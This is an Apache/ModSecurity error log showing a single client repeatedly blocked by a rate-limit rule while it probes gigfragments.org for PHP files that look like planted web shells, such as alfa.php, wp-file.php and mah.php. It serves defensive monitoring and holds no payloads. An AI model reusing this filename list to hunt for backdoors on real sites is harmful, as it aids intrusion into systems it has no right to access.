[Wed May 20 04:34:55.692255 2026] [:error] [pid 59245:tid 59296] [client 20.104.227.76:15181] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "agzJb6OutR70QIZRVkTM4wAAAFA"]
[Wed May 20 04:34:56.135138 2026] [:error] [pid 59245:tid 59288] [client 20.104.227.76:14434] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "agzJcKOutR70QIZRVkTM5QAAAEg"]
[Wed May 20 04:34:56.613468 2026] [:error] [pid 59349:tid 59360] [client 20.104.227.76:15217] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "agzJcDvvxTUy-ppKSZV9XwAAAMk"]
[Wed May 20 04:34:57.112920 2026] [:error] [pid 59245:tid 59303] [client 20.104.227.76:14354] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "agzJcaOutR70QIZRVkTM5wAAAFc"]
[Wed May 20 04:34:57.536088 2026] [:error] [pid 59349:tid 59374] [client 20.104.227.76:15161] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "agzJcTvvxTUy-ppKSZV9YAAAANc"]
[Wed May 20 04:34:58.019544 2026] [:error] [pid 59349:tid 59364] [client 20.104.227.76:14366] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "agzJcjvvxTUy-ppKSZV9YQAAAM0"]
[Wed May 20 04:34:58.509935 2026] [:error] [pid 59245:tid 59293] [client 20.104.227.76:14421] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "agzJcqOutR70QIZRVkTM6wAAAE0"]
[Wed May 20 04:34:58.931261 2026] [:error] [pid 59349:tid 59371] [client 20.104.227.76:14436] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/99.php"] [unique_id "agzJcjvvxTUy-ppKSZV9YgAAANQ"]
[Wed May 20 04:34:59.369330 2026] [:error] [pid 59245:tid 59286] [client 20.104.227.76:4752] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/99.php"] [unique_id "agzJc6OutR70QIZRVkTM7QAAAEY"]
[Wed May 20 04:34:59.934149 2026] [:error] [pid 36145:tid 36172] [client 20.104.227.76:14364] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/99.php"] [unique_id "agzJc6tS18KtvF2VagssjQAAARg"]
[Wed May 20 04:35:00.528576 2026] [:error] [pid 59245:tid 59284] [client 20.104.227.76:15145] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/99.php"] [unique_id "agzJdKOutR70QIZRVkTM7wAAAEQ"]
[Wed May 20 04:35:00.999831 2026] [:error] [pid 59246:tid 59324] [client 20.104.227.76:14338] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/layout.php"] [unique_id "agzJdGXuF32eb0pGiHwPtwAAAJE"]
[Wed May 20 04:35:20.289456 2026] [:error] [pid 59245:tid 59291] [client 20.104.227.76:4808] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "agzJiKOutR70QIZRVkTNCgAAAEs"]
[Wed May 20 04:35:20.702764 2026] [:error] [pid 36145:tid 36155] [client 20.104.227.76:4749] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "agzJiKtS18KtvF2VagssqAAAAQc"]
[Wed May 20 04:35:21.171783 2026] [:error] [pid 36145:tid 36160] [client 20.104.227.76:4831] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "agzJiatS18KtvF2VagssqwAAAQw"]
[Wed May 20 04:35:21.601820 2026] [:error] [pid 59245:tid 59303] [client 20.104.227.76:4833] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "agzJiaOutR70QIZRVkTNDAAAAFc"]
[Wed May 20 04:35:22.203127 2026] [:error] [pid 59244:tid 59271] [client 20.104.227.76:4763] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "agzJirxU0SdQQE7pLs2seQAAABI"]
[Wed May 20 04:35:22.708197 2026] [:error] [pid 59246:tid 59331] [client 20.104.227.76:15174] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "agzJimXuF32eb0pGiHwPvwAAAJg"]
[Wed May 20 04:35:23.156827 2026] [:error] [pid 59245:tid 59302] [client 20.104.227.76:14345] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "agzJi6OutR70QIZRVkTNDgAAAFY"]
[Wed May 20 04:35:23.573187 2026] [:error] [pid 59245:tid 59285] [client 20.104.227.76:14370] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "agzJi6OutR70QIZRVkTNDwAAAEU"]
[Wed May 20 04:35:23.996630 2026] [:error] [pid 59245:tid 59299] [client 20.104.227.76:14397] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-theme.php"] [unique_id "agzJi6OutR70QIZRVkTNEQAAAFM"]
[Wed May 20 04:35:24.461973 2026] [:error] [pid 36145:tid 36163] [client 20.104.227.76:15158] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-theme.php"] [unique_id "agzJjKtS18KtvF2VagssswAAAQ8"]
[Wed May 20 04:35:24.876585 2026] [:error] [pid 36145:tid 36166] [client 20.104.227.76:4858] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-theme.php"] [unique_id "agzJjKtS18KtvF2VagsstQAAARI"]
[Wed May 20 04:35:25.620848 2026] [:error] [pid 36145:tid 36167] [client 20.104.227.76:14344] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-theme.php"] [unique_id "agzJjatS18KtvF2VagsstgAAARM"]
[Wed May 20 04:35:26.070006 2026] [:error] [pid 36145:tid 36171] [client 20.104.227.76:4815] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-file.php"] [unique_id "agzJjqtS18KtvF2VagssugAAARc"]
[Wed May 20 04:35:26.867729 2026] [:error] [pid 36145:tid 36154] [client 20.104.227.76:4737] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-file.php"] [unique_id "agzJjqtS18KtvF2VagssvQAAAQY"]
[Wed May 20 04:35:27.372573 2026] [:error] [pid 59349:tid 59363] [client 20.104.227.76:4849] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-file.php"] [unique_id "agzJjzvvxTUy-ppKSZV9cAAAAMw"]
[Wed May 20 04:35:27.950374 2026] [:error] [pid 59349:tid 59375] [client 20.104.227.76:14426] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-file.php"] [unique_id "agzJjzvvxTUy-ppKSZV9cgAAANg"]
[Wed May 20 04:35:28.508764 2026] [:error] [pid 59246:tid 59318] [client 20.104.227.76:4822] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "agzJkGXuF32eb0pGiHwPwAAAAIs"]
[Wed May 20 04:35:29.046175 2026] [:error] [pid 59244:tid 59257] [client 20.104.227.76:4854] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "agzJkbxU0SdQQE7pLs2sewAAAAQ"]
[Wed May 20 04:35:29.618021 2026] [:error] [pid 59244:tid 59261] [client 20.104.227.76:4802] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "agzJkbxU0SdQQE7pLs2sfAAAAAg"]
[Wed May 20 04:35:30.112794 2026] [:error] [pid 59349:tid 59361] [client 20.104.227.76:4824] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "agzJkjvvxTUy-ppKSZV9dQAAAMo"]
[Wed May 20 04:35:30.651087 2026] [:error] [pid 59244:tid 59272] [client 20.104.227.76:4816] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "agzJkrxU0SdQQE7pLs2sfQAAABM"]
[Wed May 20 04:35:31.139285 2026] [:error] [pid 59244:tid 59263] [client 20.104.227.76:17366] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "agzJk7xU0SdQQE7pLs2sfgAAAAo"]
[Wed May 20 04:35:31.859427 2026] [:error] [pid 59349:tid 59371] [client 20.104.227.76:4820] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "agzJkzvvxTUy-ppKSZV9eQAAANQ"]
[Wed May 20 04:35:32.272085 2026] [:error] [pid 59245:tid 59298] [client 20.104.227.76:14367] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "agzJlKOutR70QIZRVkTNFwAAAFI"]
[Wed May 20 04:35:32.768041 2026] [:error] [pid 59244:tid 59267] [client 20.104.227.76:4830] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "agzJlLxU0SdQQE7pLs2sgQAAAA4"]
[Wed May 20 04:35:33.207999 2026] [:error] [pid 59246:tid 59324] [client 20.104.227.76:14342] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "agzJlWXuF32eb0pGiHwPxAAAAJE"]
[Wed May 20 04:35:33.892170 2026] [:error] [pid 59245:tid 59280] [client 20.104.227.76:4835] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "agzJlaOutR70QIZRVkTNGgAAAEA"]
[Wed May 20 04:35:34.315944 2026] [:error] [pid 36145:tid 36169] [client 20.104.227.76:14454] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "agzJlqtS18KtvF2VagssvwAAARU"]
[Wed May 20 04:35:34.876337 2026] [:error] [pid 36145:tid 36160] [client 20.104.227.76:4825] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "agzJlqtS18KtvF2VagsswgAAAQw"]
[Wed May 20 04:35:35.307348 2026] [:error] [pid 36145:tid 36163] [client 20.104.227.76:4745] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "agzJl6tS18KtvF2VagssxAAAAQ8"]
[Wed May 20 04:35:36.311000 2026] [:error] [pid 59244:tid 59277] [client 20.104.227.76:14445] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "agzJmLxU0SdQQE7pLs2sggAAABg"]
[Wed May 20 04:35:36.946745 2026] [:error] [pid 59244:tid 59274] [client 20.104.227.76:4841] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "agzJmLxU0SdQQE7pLs2sgwAAABU"]
[Wed May 20 04:35:37.735295 2026] [:error] [pid 36145:tid 36158] [client 20.104.227.76:4818] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "agzJmatS18KtvF2VagssyQAAAQo"]
[Wed May 20 04:35:38.443185 2026] [:error] [pid 36145:tid 36162] [client 20.104.227.76:4799] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "agzJmqtS18KtvF2VagsszQAAAQ4"]
[Wed May 20 04:35:39.309001 2026] [:error] [pid 36145:tid 36161] [client 20.104.227.76:4819] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "agzJm6tS18KtvF2VagsszwAAAQ0"]
[Wed May 20 04:35:39.862049 2026] [:error] [pid 36145:tid 36169] [client 20.104.227.76:4798] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "agzJm6tS18KtvF2Vagss0AAAARU"]
[Wed May 20 04:35:40.369059 2026] [:error] [pid 36145:tid 36149] [client 20.104.227.76:14374] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "agzJnKtS18KtvF2Vagss0wAAAQE"]
[Wed May 20 04:35:41.007839 2026] [:error] [pid 36145:tid 36153] [client 20.104.227.76:14391] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "agzJnatS18KtvF2Vagss1QAAAQU"]
[Wed May 20 04:35:41.624307 2026] [:error] [pid 59246:tid 59307] [client 20.104.227.76:4750] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "agzJnWXuF32eb0pGiHwPywAAAIA"]
[Wed May 20 04:35:42.420030 2026] [:error] [pid 59246:tid 59315] [client 20.104.227.76:17397] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "agzJnmXuF32eb0pGiHwPzAAAAIg"]
[Wed May 20 04:35:43.174206 2026] [:error] [pid 36145:tid 36150] [client 20.104.227.76:4775] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ini.php"] [unique_id "agzJn6tS18KtvF2Vagss3wAAAQI"]
[Wed May 20 04:35:43.685873 2026] [:error] [pid 59244:tid 59257] [client 20.104.227.76:4810] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ini.php"] [unique_id "agzJn7xU0SdQQE7pLs2siQAAAAQ"]
[Wed May 20 04:35:44.323716 2026] [:error] [pid 36145:tid 36168] [client 20.104.227.76:4795] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ini.php"] [unique_id "agzJoKtS18KtvF2Vagss4AAAARQ"]
[Wed May 20 04:35:44.869036 2026] [:error] [pid 36145:tid 36165] [client 20.104.227.76:4839] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ini.php"] [unique_id "agzJoKtS18KtvF2Vagss4QAAARE"]
[Wed May 20 04:35:45.351508 2026] [:error] [pid 59349:tid 59372] [client 20.104.227.76:4860] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca4.php"] [unique_id "agzJoTvvxTUy-ppKSZV9fwAAANU"]
